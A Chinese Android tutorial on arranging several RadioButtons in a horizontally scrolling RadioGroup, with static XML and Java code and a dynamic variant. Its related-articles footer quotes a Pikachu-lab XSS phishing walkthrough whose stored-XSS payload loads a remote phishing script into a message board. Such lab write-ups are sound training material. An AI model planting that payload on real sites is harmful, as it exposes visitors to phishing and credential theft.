Android 项目中自定义多个 RadioButton 并排一列选择效果实现

文章目录

    • 1、静态版实现
      • 1.1、实现要求
      • 1.2、实现步骤
      • 1.3、代码实现
      • 1.4、代码实现说明
      • 1.5、结论
    • 2、项目版实现(动态)
      • 1、先看效果图
      • 2、main的布局文件
      • 3、定义RadioButton的属性
      • 4、最后在代码中生成我想要的东东
      • 5、说明
    • 3、后续优化方向

1、静态版实现

1.1、实现要求

我们需要在Android中创建多个RadioButton并排成一行,且能够左右滑动。我们将使用HorizontalScrollView来实现左右滑动的功能,并在其内部放置一个RadioGroup来排列RadioButton。

1.2、实现步骤

1、创建布局文件:在res/layout文件夹下创建一个XML布局文件。
2、在布局文件中使用HorizontalScrollView和RadioGroup:在HorizontalScrollView中包含一个RadioGroup,并在其中添加多个RadioButton。
3、在Activity中加载布局:设置Activity的布局文件,并在代码中处理RadioButton的逻辑(如果需要)。
4、运行效果:展示代码的运行结果。

1.3、代码实现

1、 布局文件(XML)
在res/layout文件夹中创建一个名为activity_main.xml的布局文件,内容如下:

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"android:layout_width="match_parent"android:layout_height="match_parent"android:orientation="vertical"android:padding="16dp"><HorizontalScrollViewandroid:layout_width="match_parent"android:layout_height="wrap_content"android:scrollbars="none"><RadioGroupandroid:layout_width="wrap_content"android:layout_height="wrap_content"android:orientation="horizontal"><RadioButtonandroid:id="@+id/radioButton1"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="Option 1" /><RadioButtonandroid:id="@+id/radioButton2"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="Option 2" /><RadioButtonandroid:id="@+id/radioButton3"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="Option 3" /><RadioButtonandroid:id="@+id/radioButton4"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="Option 4" /><RadioButtonandroid:id="@+id/radioButton5"android:layout_width="wrap_content"android:layout_height="wrap_content"android:text="Option 5" /><!-- 可以继续添加更多的 RadioButton --></RadioGroup></HorizontalScrollView></LinearLayout>

2、Activity文件(Java)
在MainActivity中加载布局文件。

package com.example.radiobuttonexample;import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;public class MainActivity extends AppCompatActivity {@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.activity_main);// 在这里可以处理 RadioButton 的逻辑,例如设置监听器}
}

3、 运行效果
当运行上述代码时,您将会看到多个RadioButton并排一行排列在屏幕上,并且可以左右滑动查看更多的选项。

1.4、代码实现说明

1、HorizontalScrollView:这是一个水平滚动的视图容器,允许其包含的视图在水平方向上滑动。我们使用它来实现RadioButton的左右滑动功能。

2、RadioGroup:这是一个用于包含RadioButton的容器,我们将其方向设置为水平(android:orientation=“horizontal”),使其内的RadioButton并排显示。

3、RadioButton:这些是单选按钮,每个按钮表示一个选项。

1.5、结论

通过使用HorizontalScrollView和RadioGroup,我们能够在Android中创建一个能够左右滑动的并排RadioButton组。这个实现方法适用于需要在一个屏幕上显示多个选项但空间有限的情况。这样不仅保持了布局的整洁,还提高了用户体验。

2、项目版实现(动态)

如果希望RadioButton的数量和内容能够动态配置,可以通过网络请求或本地数据库读取数据,并根据数据动态生成RadioButton。

1、先看效果图

在这里插入图片描述
可以左右滑动在这里插入图片描述

2、main的布局文件

在这里插入图片描述

3、定义RadioButton的属性

在这里插入图片描述
3.1、布局文件引用了android:background=“@drawable/radiostyles”
在这里插入图片描述

3.2、布局文件引用了android:textColor=“@color/colorselector”
在这里插入图片描述

4、最后在代码中生成我想要的东东

根据项目实际情况,按钮的个数通过函数参数传递进来,

代码动态生成按钮个数

在这里插入图片描述

5、说明

5.1、布局中通常会用到@null。如RadioButton常用的技巧通过RadioGroup实现Tab,需要设置android:button=“@null”。如果要在代码中动态创建控件,android中并不能找到相关的属性或方法。搜索均无解决办法,最后想到一个变通的方法:通过透明色获取drawable。
//java代码
setButtonDrawable(getResources().getDrawable(android.R.color.transparent));

5.2、实际还是可以通过布局的方法来动态创建控件。先创建一个RadioButton的radiobutton.xml,再用代码生成RadioButton,本示例就是用的这种方法:
//java代码
RadioButton radioButton = (RadioButton) LayoutInflater.from( getBaseContext( ) ).inflate(R.layout.radiobutton, null );

这种方式的好处是样式等属性可以在布局中统一指定省的查sdk寻找相关属性的设置方法,要不然在布局中有些属性是没有对应的设置函数,或许是很难找到对应的函数。

在以后还可以把这个例子的功能上完善,比如说实现反弹的效果,这样就更完美了,值得期待。

3、后续优化方向

3.1、使用 RecyclerView
如果我们的选项数量非常大,或者需要支持动态加载和回收复用视图的情况,建议使用 RecyclerView 来替代 RadioGroup。这样可以提高性能并支持大量选项的展示。

3.2、使用 RecyclerView 的示例:
*创建一个 RecyclerView 的布局文件,例如 item_radio_button.xml,用于定义单个 RadioButton 的布局。
*创建一个 RecyclerView 的适配器,在适配器中设置 RadioButton 的数据和点击事件。
*在 MainActivity 中使用 RecyclerView,并设置其布局管理器和适配器。

欢迎点赞|关注|收藏|评论,您的肯定是我创作的动力

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/15289.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

SK6812-RGBW是一个集控制电路与发光电路于一体的智能外控LED光源

产品概述: SK6812-RGBW是一个集控制电路与发光电路于一体的智能外控LED光源。其外型与一个5050LED灯珠相同&#xff0c;每个元件即为一个像素点。像素点内部包含了智能数字接口数据锁存信号整形放大驱动电路&#xff0c;电源稳压电路&#xff0c;内置恒流电路&#xff0…

牛客101

1、用两个栈实现队列、 import java.util.Stack;public class Solution {Stack<Integer>stack1new Stack<Integer>();Stack<Integer>stack2new Stack<Integer>();public void push(int node){stack1.push(node);}public int pop(){while(!stack1.isEmp…

质数和约数

试除法判定质数 问题描述 给定 n 个正整数 ai&#xff0c;判定每个数是否是质数。 输入格式 第一行包含整数 n。 接下来 n 行&#xff0c;每行包含一个正整数 ai。 输出格式 共 n 行&#xff0c;其中第 i 行输出第 i 个正整数 ai 是否为质数&#xff0c;是则输出 Yes&am…

黄金价格创新高,交易风险提示

在全球经济格局中&#xff0c;黄金一直被视为避险资产&#xff0c;尤其在美联储降息预期逐步兑现以及地缘政治不确定性上升的背景下&#xff0c;投资者纷纷寻求安全资产。近期&#xff0c;上海黄金交易所针对黄金价格的异常波动&#xff0c;向市场参与者发出了交易风险提示&…

从 0 开始本地部署大语言模型

1、准备 ● Ollama&#xff1a;ollama.com ● Docker&#xff1a;https://docs.openwebui.com/ 2、下载 Ollama 进入 Ollama 官网&#xff0c;点击 Download 。 下载完成后&#xff0c;双击安装&#xff0c;什么都不需要勾选&#xff0c;直接下一步即可。安装完成&#xf…

PYQT5点击Button执行多次问题解决方案(亲测)

PYQT5点击Button却执行多次问题 使用pyqt5时遇到问题&#xff0c;UI上按钮点击一次&#xff0c;对应的槽函数却执行了3遍 首先&#xff0c;确认函数名无冲突&#xff0c;UI button名无命名冲突&#xff0c;下图是简单的示例程序&#xff1a; 运行后&#xff0c;点击按钮&#…

electron调试自动更新,不触发下载进度解决方案

调试时候删除掉后缀是.blockmap的文件。如果你的代码在改动不大的情况下发布一个新版本。那个安装器可能会根据这个数据自动合成一个包&#xff0c;而不走网络路径。从而不触发下载进度。

什么是js

JavaScript&#xff08;通常缩写为JS&#xff09;是一种轻量级的编程语言&#xff0c;它是一种实现网页交互性的客户端脚本语言。JavaScript 与 HTML 和 CSS 并列&#xff0c;是构建和开发网页和网页应用程序的三大核心技术之一。 JavaScript 可以用于创建动态的网页内容&#…

Spring框架学习笔记(四):手动实现 Spring 底层机制(初始化 IOC容器+依赖注入+BeanPostProcessor 机制+AOP)

1 Spring 整体架构示意图 2 阶段 1 -- 编写自己的 Spring 容器&#xff0c;实现多层扫描包 编写自己的 Spring 容器&#xff0c;实现多层扫描包&#xff0c;排除包下不是bean的&#xff0c; 得到 bean 对象&#xff0c;放入到临时ioc容器中 代码实现&#xff1a; &#xff0…

OSM最新台湾电力数据(2024年5月23日数据)转换总结及与(2024年2月16日数据)转换结果对比

osm包含种类繁多&#xff0c;我们这里是只以刚转换的台湾电力设备为例抛砖引玉的进行说明。本次仅仅转换了&#xff0c;变电站、电厂和线路杆塔数据&#xff01; 这种带增强的文件&#xff0c;是我在基础规则之外增加的提取规则。是为了更多的将OSM相关类型数据过滤提取出来&am…

干货 | 2024 EISS 企业信息安全高峰论坛(脱敏)PPT(7份可下载)

2024 EISS 企业信息安全高峰论坛&#xff08;脱敏&#xff09;PPT&#xff0c;共7份。 AI在出海业务的安全实践.pdf Palo Alto Networks为中国企业全球化布局保驾护航.pdf 安全建设与治理思路.pdf 车路云一体化安全体系建设实践.pdf 企业研发安全DevSecOps流程落地实践.pdf 浅谈…

c++入门的基础知识

c入门 C是在C的基础之上&#xff0c;容纳进去了面向对象编程思想&#xff0c;并增加了许多有用的库&#xff0c;以及编程范式等。熟悉C语言之后&#xff0c;对C学习有一定的帮助&#xff0c;本章节主要目标&#xff1a; 补充C语言语法的不足&#xff0c;以及C是如何对C语言设计…

2024年收集搜索引擎蜘蛛大全以及浏览器模拟蜘蛛方法

对于做SEOer来说经常和搜索引擎蜘蛛打交道&#xff0c;下面整理收集了最全的搜索引擎蜘蛛大全。供有需要的朋友使用&#xff0c;建议收藏。 搜索引擎蜘蛛大全 "TencentTraveler", "Baiduspider", "BaiduGame", "bingbot",//必应蜘蛛…

电商SaaS系统中的公共功能和租户自定义功能探讨

在现代电商SaaS&#xff08;Software as a Service&#xff09;系统中&#xff0c;如何平衡公共功能和租户自定义功能是一个至关重要的问题。公共功能提供了基础服务&#xff0c;确保系统的稳定性和一致性&#xff0c;而租户自定义功能则允许各个租户根据自身需求进行个性化配置…

JAVA GUI之RGB配色

在Java GUI中&#xff0c;RGB配色是通过使用Color类来实现的。Color类提供了一些预定义的颜色常量&#xff0c;如Color.RED、Color.GREEN和Color.BLUE等。 RGB配色是通过指定红、绿和蓝三个颜色分量的值来创建颜色的。在Color类中&#xff0c;RGB分量的值取自0到255之间的整数。…

uni-app App端实现文字语音播报(Ba-TTS)

前言 最近在遇到消息提示语音播放出来&#xff0c;查了一圈文档发现并没有自带api 后面想起支付宝收钱播报&#xff0c;不受限与系统环境和版本环境&#xff08;后面查阅他是音频实现的&#xff09; 如果是由安卓端需要语音播放功能-直接使用Ba-TTs救急&#xff08;需要付费2…

详解CSS(一)

目录 1.CSS是什么 2.基本语法规范 3.引入方式 3.1内部样式表 3.2行内样式表 3.3外部样式表 4.选择器 4.1基础选择器 4.1.1标签选择器 4.1.2类选择器 4.1.3id选择器 4.1.4通配符选择器 4.2复合选择器 4.2.1后代选择器 4.2.2子选择器 4.2.3并集选择器 4.2.4伪类选择…

【通义千问—Qwen-Agent系列3】案例分析(五子棋游戏多Agent冒险游戏多智能体群组交流)

目录 前言一、快速开始1-1、介绍1-2、安装1-3、开发你自己的Agent 二、基于Qwen-Agent的案例分析2-0、环境安装2-1、五子棋游戏实现2-2、多Agent冒险游戏2-N、 多智能体群组交流&#xff08;太酷啦&#xff09; 附录1、agent源码2、router源码 总结 前言 Qwen-Agent是一个开发…